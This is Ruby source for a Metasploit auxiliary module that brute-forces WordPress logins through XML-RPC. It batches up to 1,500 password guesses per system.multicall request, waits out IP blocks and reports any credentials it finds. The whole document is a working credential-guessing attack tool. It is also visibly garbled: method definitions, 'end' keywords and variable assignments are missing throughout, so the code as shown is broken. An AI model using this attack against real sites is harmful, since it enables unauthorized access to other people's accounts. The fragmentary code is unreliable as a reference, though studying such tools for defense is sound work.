# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
'Name' => 'WordPress XML-RPC Massive Brute Force',
'Description' => %q{WordPress massive brute force attacks via WordPress XML-RPC service.},
'License' => MSF_LICENSE,
'Sabri (@KINGSABRI)', # Module Writer
['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'],
['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html']
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line',
File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line',
File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]),
OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]),
OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500])
File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp}
File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp}
vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500
xml_payloads = [] # Container for all generated XMLs
# Evil XML | Limit number of log-ins to CHUNKSIZE/request due WordPress limitation which is 1700 maximum.
passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group|
document = Nokogiri::XML::Builder.new do |xml|
xml.methodName("system.multicall")
pass_group.each do |pass|
xml.value { xml.string("wp.getUsersBlogs") }}
xml.value { xml.string(user) }
xml.value { xml.string(pass) }
xml_payloads << document.to_xml
vprint_status('Generating XMLs just done.')
print_status("Checking #{peer} status!")
if !wordpress_and_online?
print_error("#{peer}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked! (Do Manual Check)")
elsif !wordpress_xmlrpc_enabled?
print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XML-RPC")
print_status("Target #{peer} is running WordPress")
'uri' => normalize_uri(uri, wordpress_url_xmlrpc),
client = Rex::Proto::Http::Client.new(rhost)
req = client.request_cgi(opts)
res = client.send_recv(req)
if res && res.code != 200
print_error('It seems you got blocked!')
print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit")
sleep datastore['BLOCKEDWAIT'] * 60
return if check_wpstatus.nil?
print_status("Brute forcing user: #{user}")
generate_xml(user).each do |xml|
next if passfound == true
req_xml = Nokogiri::Slop xml
res_xml = Nokogiri::Slop @res.to_s.scan(/<.*>/).join
res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
result = value.at("struct/member/value/int")
# If response error code doesn't not exist
user = req_xml.search("data/value/array/data")[i].value[0].text.strip
pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
print_good("Credentials Found! #{user}:#{pass}")
unless user == usernames.last
vprint_status('Sleeping for 2 seconds..')